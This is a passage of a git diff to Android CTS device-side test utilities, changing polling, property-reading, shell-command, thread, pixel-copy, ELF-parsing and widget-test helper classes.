+            implements Thread.UncaughtExceptionHandler {
+        private Throwable mPendingException;
+
+        @Override
+        public void uncaughtException(Thread t, Throwable e) {
+            mPendingException = e;
+        }
+
+        public boolean isWebViewAvailable(Context context) {
+            return hasWebViewFeature(context) ||
+                    !checkCauseWasUnsupportedOperation(mPendingException);
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java b/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java
index a976a92..bcc3530 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2014 The Android Open Source Project
+ * Copyright (C) 2012 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -21,15 +21,18 @@
 import junit.framework.Assert;
 
 public abstract class PollingCheck {
-
     private static final long TIME_SLICE = 50;
-    private long mTimeoutMs = 3000;
+    private long mTimeout = 3000;
+
+    public static interface PollingCheckCondition {
+        boolean canProceed();
+    }
 
     public PollingCheck() {
     }
 
-    public PollingCheck(long timeoutMs) {
-        mTimeoutMs = timeoutMs;
+    public PollingCheck(long timeout) {
+        mTimeout = timeout;
     }
 
     protected abstract boolean check();
@@ -39,8 +42,8 @@
             return;
         }
 
-        long timeoutMs = mTimeoutMs;
-        while (timeoutMs > 0) {
+        long timeout = mTimeout;
+        while (timeout > 0) {
             try {
                 Thread.sleep(TIME_SLICE);
             } catch (InterruptedException e) {
@@ -51,23 +54,41 @@
                 return;
             }
 
-            timeoutMs -= TIME_SLICE;
+            timeout -= TIME_SLICE;
         }
 
         Assert.fail("unexpected timeout");
     }
 
-    public static void check(CharSequence message, long timeoutMs, Callable<Boolean> condition)
+    public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
             throws Exception {
-        while (timeoutMs > 0) {
+        while (timeout > 0) {
             if (condition.call()) {
                 return;
             }
 
             Thread.sleep(TIME_SLICE);
-            timeoutMs -= TIME_SLICE;
+            timeout -= TIME_SLICE;
         }
 
         Assert.fail(message.toString());
     }
+
+    public static void waitFor(final PollingCheckCondition condition) {
+        new PollingCheck() {
+            @Override
+            protected boolean check() {
+                return condition.canProceed();
+            }
+        }.run();
+    }
+
+    public static void waitFor(long timeout, final PollingCheckCondition condition) {
+        new PollingCheck(timeout) {
+            @Override
+            protected boolean check() {
+                return condition.canProceed();
+            }
+        }.run();
+    }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index 1a1ec19..ededfee 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -17,7 +17,9 @@
 package com.android.compatibility.common.util;
 
 import android.os.Build;
-import android.os.SystemProperties;
+
+import java.io.IOException;
+import java.util.Scanner;
 
 /**
  * Device-side utility class for reading properties and gathering information for testing
@@ -54,6 +56,19 @@
      * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
      */
     public static int getPropertyInt(String property) {
-        return SystemProperties.getInt(property, INT_VALUE_IF_UNSET);
+        Scanner scanner = null;
+        int val = INT_VALUE_IF_UNSET;
+        try {
+            Process process = new ProcessBuilder("getprop", property).start();
+            scanner = new Scanner(process.getInputStream());
+            val = Integer.parseInt(scanner.nextLine().trim());
+        } catch (IOException | NumberFormatException e) {
+            return val = INT_VALUE_IF_UNSET;
+        } finally {
+            if (scanner != null) {
+                scanner.close();
+            }
+        }
+        return val;
     }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java b/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java
new file mode 100644
index 0000000..feaa9cd
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java
@@ -0,0 +1,494 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A poor man's implementation of the readelf command. This program is designed
+ * to parse ELF (Executable and Linkable Format) files.
+ */
+public class ReadElf implements AutoCloseable {
+    /** The magic values for the ELF identification. */
+    private static final byte[] ELFMAG = {
+            (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F', };
+
+    private static final int EI_NIDENT = 16;
+
+    private static final int EI_CLASS = 4;
+    private static final int EI_DATA = 5;
+
+    private static final int EM_386 = 3;
+    private static final int EM_MIPS = 8;
+    private static final int EM_ARM = 40;
+    private static final int EM_X86_64 = 62;
+    // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
+    private static final int EM_QDSP6 = 164;
+    private static final int EM_AARCH64 = 183;
+
+    private static final int ELFCLASS32 = 1;
+    private static final int ELFCLASS64 = 2;
+
+    private static final int ELFDATA2LSB = 1;
+    private static final int ELFDATA2MSB = 2;
+
+    private static final int EV_CURRENT = 1;
+
+    private static final long PT_LOAD = 1;
+
+    private static final int SHT_SYMTAB = 2;
+    private static final int SHT_STRTAB = 3;
+    private static final int SHT_DYNAMIC = 6;
+    private static final int SHT_DYNSYM = 11;
+
+    public static class Symbol {
+        public static final int STB_LOCAL = 0;
+        public static final int STB_GLOBAL = 1;
+        public static final int STB_WEAK = 2;
+        public static final int STB_LOPROC = 13;
+        public static final int STB_HIPROC = 15;
+
+        public static final int STT_NOTYPE = 0;
+        public static final int STT_OBJECT = 1;
+        public static final int STT_FUNC = 2;
+        public static final int STT_SECTION = 3;
+        public static final int STT_FILE = 4;
+        public static final int STT_COMMON = 5;
+        public static final int STT_TLS = 6;
+
+        public final String name;
+        public final int bind;
+        public final int type;
+
+        Symbol(String name, int st_info) {
+            this.name = name;
+            this.bind = (st_info >> 4) & 0x0F;
+            this.type = st_info & 0x0F;
+        }
+
+        @Override
+        public String toString() {
+            return "Symbol[" + name + "," + toBind() + "," + toType() + "]";
+        }
+
+        private String toBind() {
+            switch (bind) {
+                case STB_LOCAL:
+                    return "LOCAL";
+                case STB_GLOBAL:
+                    return "GLOBAL";
+                case STB_WEAK:
+                    return "WEAK";
+            }
+            return "STB_??? (" + bind + ")";
+        }
+
+        private String toType() {
+            switch (type) {
+                case STT_NOTYPE:
+                    return "NOTYPE";
+                case STT_OBJECT:
+                    return "OBJECT";
+                case STT_FUNC:
+                    return "FUNC";
+                case STT_SECTION:
+                    return "SECTION";
+                case STT_FILE:
+                    return "FILE";
+                case STT_COMMON:
+                    return "COMMON";
+                case STT_TLS:
+                    return "TLS";
+            }
+            return "STT_??? (" + type + ")";
+        }
+    }
+
+    private final String mPath;
+    private final RandomAccessFile mFile;
+    private final byte[] mBuffer = new byte[512];
+    private int mEndian;
+    private boolean mIsDynamic;
+    private boolean mIsPIE;
+    private int mType;
+    private int mAddrSize;
+
+    /** Symbol Table offset */
+    private long mSymTabOffset;
+
+    /** Symbol Table size */
+    private long mSymTabSize;
+
+    /** Dynamic Symbol Table offset */
+    private long mDynSymOffset;
+
+    /** Dynamic Symbol Table size */
+    private long mDynSymSize;
+
+    /** Section Header String Table offset */
+    private long mShStrTabOffset;
+
+    /** Section Header String Table size */
+    private long mShStrTabSize;
+
+    /** String Table offset */
+    private long mStrTabOffset;
+
+    /** String Table size */
+    private long mStrTabSize;
+
+    /** Dynamic String Table offset */
+    private long mDynStrOffset;
+
+    /** Dynamic String Table size */
+    private long mDynStrSize;
+
+    /** Symbol Table symbol names */
+    private Map<String, Symbol> mSymbols;
+
+    /** Dynamic Symbol Table symbol names */
+    private Map<String, Symbol> mDynamicSymbols;
+
+    public static ReadElf read(File file) throws IOException {
+        return new ReadElf(file);
+    }
+
+    public static void main(String[] args) throws IOException {
+        for (String arg : args) {
+            ReadElf re = new ReadElf(new File(arg));
+            re.getSymbol("x");
+            re.getDynamicSymbol("x");
+            re.close();
+        }
+    }
+
+    public boolean isDynamic() {
+        return mIsDynamic;
+    }
+
+    public int getType() {
+        return mType;
+    }
+
+    public boolean isPIE() {
+        return mIsPIE;
+    }
+
+    private ReadElf(File file) throws IOException {
+        mPath = file.getPath();
+        mFile = new RandomAccessFile(file, "r");
+
+        if (mFile.length() < EI_NIDENT) {
+            throw new IllegalArgumentException("Too small to be an ELF file: " + file);
+        }
+
+        readHeader();
+    }
+
+    @Override
+    public void close() {
+        try {
+            mFile.close();
+        } catch (IOException ignored) {
+        }
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        try {
+            close();
+        } finally {
+            super.finalize();
+        }
+    }
+
+    private void readHeader() throws IOException {
+        mFile.seek(0);
+        mFile.readFully(mBuffer, 0, EI_NIDENT);
+
+        if (mBuffer[0] != ELFMAG[0] || mBuffer[1] != ELFMAG[1] ||
+                mBuffer[2] != ELFMAG[2] || mBuffer[3] != ELFMAG[3]) {
+            throw new IllegalArgumentException("Invalid ELF file: " + mPath);
+        }
+
+        int elfClass = mBuffer[EI_CLASS];
+        if (elfClass == ELFCLASS32) {
+            mAddrSize = 4;
+        } else if (elfClass == ELFCLASS64) {
+            mAddrSize = 8;
+        } else {
+            throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
+        }
+
+        mEndian = mBuffer[EI_DATA];
+        if (mEndian == ELFDATA2LSB) {
+        } else if (mEndian == ELFDATA2MSB) {
+            throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
+        } else {
+            throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
+        }
+
+        mType = readHalf();
+
+        int e_machine = readHalf();
+        if (e_machine != EM_386 && e_machine != EM_X86_64 &&
+                e_machine != EM_AARCH64 && e_machine != EM_ARM &&
+                e_machine != EM_MIPS &&
+                e_machine != EM_QDSP6) {
+            throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
+        }
+
+        // AbiTest relies on us rejecting any unsupported combinations.
+        if ((e_machine == EM_386 && elfClass != ELFCLASS32) ||
+                (e_machine == EM_X86_64 && elfClass != ELFCLASS64) ||
+                (e_machine == EM_AARCH64 && elfClass != ELFCLASS64) ||
+                (e_machine == EM_ARM && elfClass != ELFCLASS32) ||
+                (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
+            throw new IOException("Invalid e_machine/EI_CLASS ELF combination: " +
+                    e_machine + "/" + elfClass + ": " + mPath);
+        }
+
+        long e_version = readWord();
+        if (e_version != EV_CURRENT) {
+            throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
+        }
+
+        long e_entry = readAddr();
+
+        long ph_off = readOff();
+        long sh_off = readOff();
+
+        long e_flags = readWord();
+        int e_ehsize = readHalf();
+        int e_phentsize = readHalf();
+        int e_phnum = readHalf();
+        int e_shentsize = readHalf();
+        int e_shnum = readHalf();
+        int e_shstrndx = readHalf();
+
+        readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
+        readProgramHeaders(ph_off, e_phnum, e_phentsize);
+    }
+
+    private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
+            throws IOException {
+        // Read the Section Header String Table offset first.
+        {
+            mFile.seek(sh_off + e_shstrndx * e_shentsize);
+
+            long sh_name = readWord();
+            long sh_type = readWord();
+            long sh_flags = readX(mAddrSize);
+            long sh_addr = readAddr();
+            long sh_offset = readOff();
+            long sh_size = readX(mAddrSize);
+            // ...
+
+            if (sh_type == SHT_STRTAB) {
+                mShStrTabOffset = sh_offset;
+                mShStrTabSize = sh_size;
+            }
+        }
+
+        for (int i = 0; i < e_shnum; ++i) {
+            // Don't bother to re-read the Section Header StrTab.
+            if (i == e_shstrndx) {
+                continue;
+            }
+
+            mFile.seek(sh_off + i * e_shentsize);
+
+            long sh_name = readWord();
+            long sh_type = readWord();
+            long sh_flags = readX(mAddrSize);
+            long sh_addr = readAddr();
+            long sh_offset = readOff();
+            long sh_size = readX(mAddrSize);
+
+            if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
+                final String symTabName = readShStrTabEntry(sh_name);
+                if (".symtab".equals(symTabName)) {
+                    mSymTabOffset = sh_offset;
+                    mSymTabSize = sh_size;
+                } else if (".dynsym".equals(symTabName)) {
+                    mDynSymOffset = sh_offset;
+                    mDynSymSize = sh_size;
+                }
+            } else if (sh_type == SHT_STRTAB) {
+                final String strTabName = readShStrTabEntry(sh_name);
+                if (".strtab".equals(strTabName)) {
+                    mStrTabOffset = sh_offset;
+                    mStrTabSize = sh_size;
+                } else if (".dynstr".equals(strTabName)) {
+                    mDynStrOffset = sh_offset;
+                    mDynStrSize = sh_size;
+                }
+            } else if (sh_type == SHT_DYNAMIC) {
+                mIsDynamic = true;
+            }
+        }
+    }
+
+    private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
+        for (int i = 0; i < e_phnum; ++i) {
+            mFile.seek(ph_off + i * e_phentsize);
+
+            long p_type = readWord();
+            if (p_type == PT_LOAD) {
+                if (mAddrSize == 8) {
+                    // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
+                    long p_flags = readWord();
+                }
+                long p_offset = readOff();
+                long p_vaddr = readAddr();
+                // ...
+
+                if (p_vaddr == 0) {
+                    mIsPIE = true;
+                }
+            }
+        }
+    }
+
+    private HashMap<String, Symbol> readSymbolTable(long symStrOffset, long symStrSize,
+            long tableOffset, long tableSize) throws IOException {
+        HashMap<String, Symbol> result = new HashMap<String, Symbol>();
+        mFile.seek(tableOffset);
+        while (mFile.getFilePointer() < tableOffset + tableSize) {
+            long st_name = readWord();
+            int st_info;
+            if (mAddrSize == 8) {
+                st_info = readByte();
+                int st_other = readByte();
+                int st_shndx = readHalf();
+                long st_value = readAddr();
+                long st_size = readX(mAddrSize);
+            } else {
+                long st_value = readAddr();
+                long st_size = readWord();
+                st_info = readByte();
+                int st_other = readByte();
+                int st_shndx = readHalf();
+            }
+            if (st_name == 0) {
+                continue;
+            }
+
+            final String symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
+            if (symName != null) {
+                Symbol s = new Symbol(symName, st_info);
+                result.put(symName, s);
+            }
+        }
+        return result;
+    }
+
+    private String readShStrTabEntry(long strOffset) throws IOException {
+        if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
+            return null;
+        }
+        return readString(mShStrTabOffset + strOffset);
+    }
+
+    private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
+            throws IOException {
+        if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
+            return null;
+        }
+        return readString(tableOffset + strOffset);
+    }
+
+    private int readHalf() throws IOException {
+        return (int) readX(2);
+    }
+
+    private long readWord() throws IOException {
+        return readX(4);
+    }
+
+    private long readOff() throws IOException {
+        return readX(mAddrSize);
+    }
+
+    private long readAddr() throws IOException {
+        return readX(mAddrSize);
+    }
+
+    private long readX(int byteCount) throws IOException {
+        mFile.readFully(mBuffer, 0, byteCount);
+
+        int answer = 0;
+        if (mEndian == ELFDATA2LSB) {
+            for (int i = byteCount - 1; i >= 0; i--) {
+                answer = (answer << 8) | (mBuffer[i] & 0xff);
+            }
+        } else {
+            final int N = byteCount - 1;
+            for (int i = 0; i <= N; ++i) {
+                answer = (answer << 8) | (mBuffer[i] & 0xff);
+            }
+        }
+
+        return answer;
+    }
+
+    private String readString(long offset) throws IOException {
+        long originalOffset = mFile.getFilePointer();
+        mFile.seek(offset);
+        mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
+        mFile.seek(originalOffset);
+
+        for (int i = 0; i < mBuffer.length; ++i) {
+            if (mBuffer[i] == 0) {
+                return new String(mBuffer, 0, i);
+            }
+        }
+
+        return null;
+    }
+
+    private int readByte() throws IOException {
+        return mFile.read() & 0xff;
+    }
+
+    public Symbol getSymbol(String name) {
+        if (mSymbols == null) {
+            try {
+                mSymbols = readSymbolTable(mStrTabOffset, mStrTabSize, mSymTabOffset, mSymTabSize);
+            } catch (IOException e) {
+                return null;
+            }
+        }
+        return mSymbols.get(name);
+    }
+
+    public Symbol getDynamicSymbol(String name) {
+        if (mDynamicSymbols == null) {
+            try {
+                mDynamicSymbols = readSymbolTable(
+                        mDynStrOffset, mDynStrSize, mDynSymOffset, mDynSymSize);
+            } catch (IOException e) {
+                return null;
+            }
+        }
+        return mDynamicSymbols.get(name);
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java b/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
index 504a02d..538881d 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
@@ -27,12 +27,11 @@
 public class ReportLogDeviceInfoStore extends DeviceInfoStore {
 
     private final String mStreamName;
-    private final File tempJsonFile;
+    private File tempJsonFile;
 
     public ReportLogDeviceInfoStore(File jsonFile, String streamName) throws Exception {
         mJsonFile = jsonFile;
         mStreamName = streamName;
-        tempJsonFile = File.createTempFile(streamName, "-temp-report-log");
     }
 
     /**
@@ -42,7 +41,7 @@
     public void open() throws IOException {
         // Write new metrics to a temp file to avoid invalid JSON files due to failed tests.
         BufferedWriter formatWriter;
-        tempJsonFile.createNewFile();
+        tempJsonFile = File.createTempFile(mStreamName, "-temp-report-log");
         formatWriter = new BufferedWriter(new FileWriter(tempJsonFile));
         if (mJsonFile.exists()) {
             BufferedReader jsonReader = new BufferedReader(new FileReader(mJsonFile));
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java b/common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
new file mode 100644
index 0000000..7ba8646
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.view.PixelCopy;
+import android.view.Surface;
+import android.view.Window;
+import android.view.PixelCopy.OnPixelCopyFinishedListener;
+import android.view.SurfaceView;
+
+public class SynchronousPixelCopy implements OnPixelCopyFinishedListener {
+    private static Handler sHandler;
+    static {
+        HandlerThread thread = new HandlerThread("PixelCopyHelper");
+        thread.start();
+        sHandler = new Handler(thread.getLooper());
+    }
+
+    private int mStatus = -1;
+
+    public int request(Surface source, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(Surface source, Rect srcRect, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, srcRect, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(SurfaceView source, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(SurfaceView source, Rect srcRect, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, srcRect, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(Window source, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(Window source, Rect srcRect, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, srcRect, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    private int getResultLocked() {
+        try {
+            this.wait(250);
+        } catch (InterruptedException e) {
+            fail("PixelCopy request didn't complete within 250ms");
+        }
+        return mStatus;
+    }
+
+    @Override
+    public void onPixelCopyFinished(int copyResult) {
+        synchronized (this) {
+            mStatus = copyResult;
+            this.notify();
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java
index 2ec9bef..20b4625 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java
@@ -18,9 +18,14 @@
 
 import android.app.ActivityManager;
 import android.app.ActivityManager.MemoryInfo;
+import android.app.Instrumentation;
 import android.content.Context;
+import android.os.ParcelFileDescriptor;
 import android.os.StatFs;
 
+import java.io.FileInputStream;
+import java.io.IOException;
+
 public class SystemUtil {
     public static long getFreeDiskSize(Context context) {
         final StatFs statFs = new StatFs(context.getFilesDir().getAbsolutePath());
@@ -38,4 +43,27 @@
         ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
         return info.totalMem;
     }
+
+    /**
+     * Executes a shell command using shell user identity, and return the standard output in string
+     * <p>Note: calling this function requires API level 21 or above
+     * @param instrumentation {@link Instrumentation} instance, obtained from a test running in
+     * instrumentation framework
+     * @param cmd the command to run
+     * @return the standard output of the command
+     * @throws Exception
+     */
+    public static String runShellCommand(Instrumentation instrumentation, String cmd)
+            throws IOException {
+        ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(cmd);
+        byte[] buf = new byte[512];
+        int bytesRead;
+        FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+        StringBuffer stdout = new StringBuffer();
+        while ((bytesRead = fis.read(buf)) != -1) {
+            stdout.append(new String(buf, 0, bytesRead));
+        }
+        fis.close();
+        return stdout.toString();
+    }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java b/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java
new file mode 100644
index 0000000..894b9c8
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+/**
+ * Thread class for executing a Runnable containing assertions in a separate thread.
+ * Uncaught exceptions in the Runnable are rethrown in the context of the the thread
+ * calling the <code>runTest()</code> method.
+ */
+public final class TestThread extends Thread {
+    private Throwable mThrowable;
+    private Runnable mTarget;
+
+    public TestThread(Runnable target) {
+        mTarget = target;
+    }
+
+    @Override
+    public final void run() {
+        try {
+            mTarget.run();
+        } catch (Throwable t) {
+            mThrowable = t;
+        }
+    }
+
+    /**
+     * Run the target Runnable object and wait until the test finish or throw
+     * out Exception if test fail.
+     *
+     * @param runTime
+     * @throws Throwable
+     */
+    public void runTest(long runTime) throws Throwable {
+        start();
+        joinAndCheck(runTime);
+    }
+
+    /**
+     * Get the Throwable object which is thrown when test running
+     * @return  The Throwable object
+     */
+    public Throwable getThrowable() {
+        return mThrowable;
+    }
+
+    /**
+     * Set the Throwable object which is thrown when test running
+     * @param t The Throwable object
+     */
+    public void setThrowable(Throwable t) {
+        mThrowable = t;
+    }
+
+    /**
+     * Wait for the test thread to complete and throw the stored exception if there is one.
+     *
+     * @param runTime The time to wait for the test thread to complete.
+     * @throws Throwable
+     */
+    public void joinAndCheck(long runTime) throws Throwable {
+        this.join(runTime);
+        if (this.isAlive()) {
+            this.interrupt();
+            this.join(runTime);
+            throw new Exception("Thread did not finish within allotted time.");
+        }
+        checkException();
+    }
+
+    /**
+     * Check whether there is an exception when running Runnable object.
+     * @throws Throwable
+     */
+    public void checkException() throws Throwable {
+        if (mThrowable != null) {
+            throw mThrowable;
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java b/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java
index 4862323..efcc693 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2014 The Android Open Source Project
+ * Copyright (C) 2012 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -23,10 +23,11 @@
 import junit.framework.Assert;
 
 /**
- * Used to fail a test if a function takes more than a certain amount of time.
+ * class for checking if rendering function is alive or not.
+ * panic if watch-dog is not reset over certain amount of time
  */
 public class WatchDog implements Runnable {
-    private static final String TAG = WatchDog.class.getSimpleName();
+    private static final String TAG = "WatchDog";
     private Thread mThread;
     private Semaphore mSemaphore;
     private volatile boolean mStopRequested;
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
new file mode 100644
index 0000000..eff6c43
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.rule.ActivityTestRule;
+import android.text.Editable;
+import android.text.TextUtils;
+import android.view.View;
+import android.view.ViewTreeObserver;
+
+import junit.framework.Assert;
+
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static android.view.ViewTreeObserver.*;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+/**
+ * The useful methods for widget test.
+ */
+public class WidgetTestUtils {
+    /**
+     * Assert that two bitmaps have identical content (same dimensions, same configuration,
+     * same pixel content).
+     *
+     * @param b1 the first bitmap which needs to compare.
+     * @param b2 the second bitmap which needs to compare.
+     */
+    public static void assertEquals(Bitmap b1, Bitmap b2) {
+        if (b1 == b2) {
+            return;
+        }
+
+        if (b1 == null || b2 == null) {
+            Assert.fail("the bitmaps are not equal");
+        }
+
+        // b1 and b2 are all not null.
+        if (b1.getWidth() != b2.getWidth() || b1.getHeight() != b2.getHeight()
+            || b1.getConfig() != b2.getConfig()) {
+            Assert.fail("the bitmaps are not equal");
+        }
+
+        int w = b1.getWidth();
+        int h = b1.getHeight();
+        int s = w * h;
+        int[] pixels1 = new int[s];
+        int[] pixels2 = new int[s];
+
+        b1.getPixels(pixels1, 0, w, 0, 0, w, h);
+        b2.getPixels(pixels2, 0, w, 0, 0, w, h);
+
+        for (int i = 0; i < s; i++) {
+            if (pixels1[i] != pixels2[i]) {
+                Assert.fail("the bitmaps are not equal");
+            }
+        }
+    }
+
+    /**
+     * Find beginning of the special element.
+     * @param parser XmlPullParser will be parsed.
+     * @param firstElementName the target element name.
+     *
+     * @throws XmlPullParserException if XML Pull Parser related faults occur.
+     * @throws IOException if I/O-related error occur when parsing.
+     */
+    public static final void beginDocument(XmlPullParser parser, String firstElementName)
+            throws XmlPullParserException, IOException {
+        Assert.assertNotNull(parser);
+        Assert.assertNotNull(firstElementName);
+
+        int type;
+        while ((type = parser.next()) != XmlPullParser.START_TAG
+                && type != XmlPullParser.END_DOCUMENT) {
+            ;
+        }
+
+        if (!parser.getName().equals(firstElementName)) {
+            throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
+                    + ", expected " + firstElementName);
+        }
+    }
+
+    /**
+     * Compare the expected pixels with actual, scaling for the target context density
+     *
+     * @throws AssertionFailedError
+     */
+    public static void assertScaledPixels(int expected, int actual, Context context) {
+        Assert.assertEquals(expected * context.getResources().getDisplayMetrics().density,
+                actual, 3);
+    }
+
+    /** Converts dips into pixels using the {@link Context}'s density. */
+    public static int convertDipToPixels(Context context, int dip) {
+      float density = context.getResources().getDisplayMetrics().density;
+      return Math.round(density * dip);
+    }
+
+    /**
+     * Retrieve a bitmap that can be used for comparison on any density
+     * @param resources
+     * @return the {@link Bitmap} or <code>null</code>
+     */
+    public static Bitmap getUnscaledBitmap(Resources resources, int resId) {
